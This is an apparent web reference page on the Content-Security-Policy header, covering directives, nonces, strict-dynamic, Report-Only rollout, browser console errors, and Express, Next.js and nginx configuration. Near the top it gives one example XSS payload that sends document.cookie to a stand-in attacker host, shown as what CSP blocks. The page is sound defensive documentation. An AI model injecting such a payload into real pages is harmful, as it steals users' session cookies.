Response header
< Content-Security-Policy: default-src 'self'; script-src 'self'Content-Security-Policy Header: Directives, Nonces and Console Errors
Content-Security-Policy (CSP) limits what a page may load or run. Directives, nonces, strict-dynamic, Report-Only rollout, console errors, helmet and Next.js.
- Direction
- Response
- Category
- Security
- Spec
- W3C CSP Level 3
On this page
TL;DR:
Content-Security-Policytells the browser which sources may supply scripts, styles, frames and connections, so injected code is blocked. Start withContent-Security-Policy-Report-Only, use nonces plusstrict-dynamicinstead ofunsafe-inline, and addobject-src 'none'; base-uri 'none'; frame-ancestors 'self'.
What it blocks
HTTP/1.1 200 OK
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'
An attacker who injects <script>fetch('https://evil.example/?c='+document.cookie)</script> through an XSS bug is stopped. In the console:
Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce ('nonce-...') is required to enable inline execution.
Other messages you will meet:
Refused to load the script 'https://cdn.example.net/lib.js' because it violates the following Content Security Policy directive: "script-src 'self'".
Refused to connect to 'https://api.example.com/data' because it violates the document's Content Security Policy.
Refused to apply inline style because it violates the following Content Security Policy directive: "style-src 'self'".
Refused to frame 'https://other.example/' because an ancestor violates the following Content Security Policy directive: "frame-ancestors 'self'".
Refused to evaluate a string as JavaScript because 'unsafe-eval' is not an allowed source of script in the following Content Security Policy directive
Firefox words it differently and the text varies by version, for example Content-Security-Policy: The page's settings blocked the loading of a resource at inline ("script-src").
Core directives
| Directive | Controls |
|---|---|
default-src | Fallback for fetch directives not listed |
script-src | JavaScript, including inline and eval |
style-src | CSS, including inline styles |
img-src, font-src, media-src | Images, fonts, audio/video |
connect-src | fetch, XHR, WebSocket, EventSource, beacons. Blocks API calls |
frame-src / child-src | What this page may embed |
frame-ancestors | Who may embed this page (replaces X-Frame-Options) |
form-action | Where forms may submit |
base-uri | Allowed <base href>; set 'none' or 'self' |
object-src | Plugins; set 'none' |
upgrade-insecure-requests | Rewrites http:// subresources to https:// |
report-to / report-uri | Where violations go |
frame-ancestors, report-uri, report-to and sandbox do not fall back to default-src. prefetch-src and navigate-to were dropped from the standard or never shipped; do not rely on them.
Source values: 'self', 'none', https:, https://cdn.example.com, https://*.example.com, 'nonce-<value>', 'sha256-<base64>', 'strict-dynamic', 'unsafe-inline', 'unsafe-eval', 'wasm-unsafe-eval', 'report-sample'. Keywords must be quoted.
Strict CSP with nonces
The recommended modern policy needs no host list:
Content-Security-Policy: script-src 'nonce-rAnd0m123' 'strict-dynamic'; object-src 'none'; base-uri 'none'
<script nonce="rAnd0m123" src="/app.js"></script>
The nonce must be unguessable (at least 128 bits of randomness) and new on every response. A static nonce, or caching a page with a baked-in nonce, defeats it. With strict-dynamic, scripts loaded by trusted scripts also run, and 'self' and host entries are ignored by modern browsers (keep https: and 'unsafe-inline' as fallbacks for very old ones; they are ignored when a nonce is present).
Express with helmet and a per-request nonce:
const crypto = require('crypto')
const helmet = require('helmet')
app.use((req, res, next) => {
res.locals.cspNonce = crypto.randomBytes(16).toString('base64')
next()
})
app.use(
helmet.contentSecurityPolicy({
useDefaults: true,
directives: {
'script-src': ["'self'", (req, res) => `'nonce-${res.locals.cspNonce}'`, "'strict-dynamic'"],
'object-src': ["'none'"],
'base-uri': ["'none'"],
'frame-ancestors': ["'self'"]
}
})
)
Next.js (App Router) generates the nonce in its request proxy (called middleware before Next.js 16) and reads it from the x-nonce request header; pages must be dynamically rendered for nonces to apply. Condensed from the official guide:
// proxy.ts (middleware.ts with `export function middleware` before Next.js 16)
import { NextRequest, NextResponse } from 'next/server'
export function proxy(request: NextRequest) {
const nonce = Buffer.from(crypto.randomUUID()).toString('base64')
const csp = `default-src 'self'; script-src 'self' 'nonce-${nonce}' 'strict-dynamic'; style-src 'self' 'nonce-${nonce}'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'`
const headers = new Headers(request.headers)
headers.set('x-nonce', nonce)
headers.set('Content-Security-Policy', csp)
const response = NextResponse.next({ request: { headers } })
response.headers.set('Content-Security-Policy', csp)
return response
}
In development, React needs 'unsafe-eval' for debugging; add it only when NODE_ENV === 'development'.
nginx (static policy, no inline scripts):
add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; object-src 'none'; base-uri 'none'; frame-ancestors 'self'" always;
Static HTML behind nginx cannot use nonces; use 'sha256-...' hashes of inline scripts instead. The browser prints the needed hash in the violation message.
Report-Only rollout
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-to csp-endpoint
Reporting-Endpoints: csp-endpoint="https://example.com/csp-reports"
Violations are logged and sent but nothing is blocked. For cross-browser coverage send both, since Firefox and Safari use the older mechanism:
Content-Security-Policy: ...; report-uri /csp-report; report-to csp-endpoint
Report-Only supports every directive except sandbox, which it ignores. A <meta> tag cannot deliver report-uri, frame-ancestors or sandbox, and cannot be Report-Only at all.
Receiver:
app.post(
'/csp-report',
express.json({ type: ['application/csp-report', 'application/reports+json', 'application/json'] }),
(req, res) => {
console.warn('CSP violation', JSON.stringify(req.body))
res.sendStatus(204)
}
)
Expect noise from browser extensions injecting scripts; filter on blocked-uri values like chrome-extension:// and moz-extension://.
Debug
curl -sI https://example.com | grep -i '^content-security-policy'
- Several
Content-Security-Policyheaders (or a header plus a meta tag) combine, and each must allow a resource, so a second, stricter policy from a CDN or framework silently breaks things. Find the source withcurl -sIagainst origin and edge separately. - The Network panel’s “Issues” tab and the Security panel list the blocked directive.
- Inline event handlers such as
onclick="..."are blocked without'unsafe-inline'or'unsafe-hashes'; useaddEventListener. - Google Tag Manager, Stripe and analytics scripts add their own hosts to
script-src,connect-srcandframe-src; take the lists from their docs. - Evaluate your policy with Google’s CSP Evaluator.
Pitfalls
unsafe-inlineinscript-srcwithout a nonce makes the policy mostly decorative against XSS.- Allowlisting a JSONP-capable or user-content host (
https://*.googleapis.com,https://cdn.jsdelivr.net) allows script gadgets; nonces avoid this. default-src 'self'alone does not stop form posts to other sites or framing of your page; addform-actionandframe-ancestors.- Policies are per document. Workers and iframes follow their own response headers, except that
blob:/data:workers inherit.
Related
- X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy, Strict-Transport-Security
- CORS vs CSP and the Site verifier
- CSP Report-Only for rollout, and Reporting-Endpoints for
report-to
Frequently asked questions
What is Content-Security-Policy?
CSP is a response header with which a page declares where scripts, styles, images, frames and connections may come from. The browser blocks everything else, so an injected script from an XSS flaw is refused even though the markup reached the page.
How do I fix "Refused to execute inline script because it violates the following Content Security Policy directive"?
Either move the script to an external file allowed by script-src, add a per-response nonce to both the header and the script tag, or add the hash of that exact inline script. Avoid adding unsafe-inline: it disables the protection CSP gives against XSS, and is ignored in script-src when a nonce or hash is present.
How do I roll out CSP without breaking my site?
Deploy Content-Security-Policy-Report-Only with the policy you want, collect violation reports for a week or two, fix legitimate sources, then switch the same policy to Content-Security-Policy. You can run both at once to tighten an existing policy.
What do nonces and strict-dynamic do?
A nonce is a random value generated per response; only scripts carrying the matching nonce attribute run. strict-dynamic additionally trusts scripts those scripts load, and makes browsers ignore host allowlists, which keeps the policy short and avoids brittle CDN lists.
Should I use report-uri or report-to?
report-uri is deprecated but still the one that works in Firefox and Safari. Chromium supports report-to together with the Reporting-Endpoints header. Sending both is the practical choice: browsers that understand report-to ignore report-uri.
Does CSP replace X-Frame-Options?
For framing, yes. frame-ancestors controls who may embed your page and takes precedence over X-Frame-Options in browsers that support it. Keep X-Frame-Options only for very old clients. frame-ancestors is not supported in a meta tag.
Sources
Related
CORS vs CSP
Understand the difference between CORS and Content Security Policy. Both are browser security mechanisms but they protect against completely different threats.
HTTP Security Headers Checklist: Values and Configs
Which HTTP security headers to send and which to drop: starting values for CSP, HSTS and more, with nginx, Apache, Express, Next.js and Cloudflare config.
XSS (Cross-Site Scripting)
XSS lets an attacker run JavaScript in your page by getting untrusted input rendered as code. Learn the three types, real examples, CSP and HttpOnly limits.
CSP Report-Only Header: Roll Out CSP Safely
Content-Security-Policy-Report-Only tests a policy without blocking. Rollout steps, report-uri vs report-to, sample violation JSON, and cutting noise.
Reporting-Endpoints Header: Reporting API Setup
Reporting-Endpoints names the URLs where browsers send CSP, COOP, deprecation and crash reports. Syntax, the default endpoint, and replacing Report-To.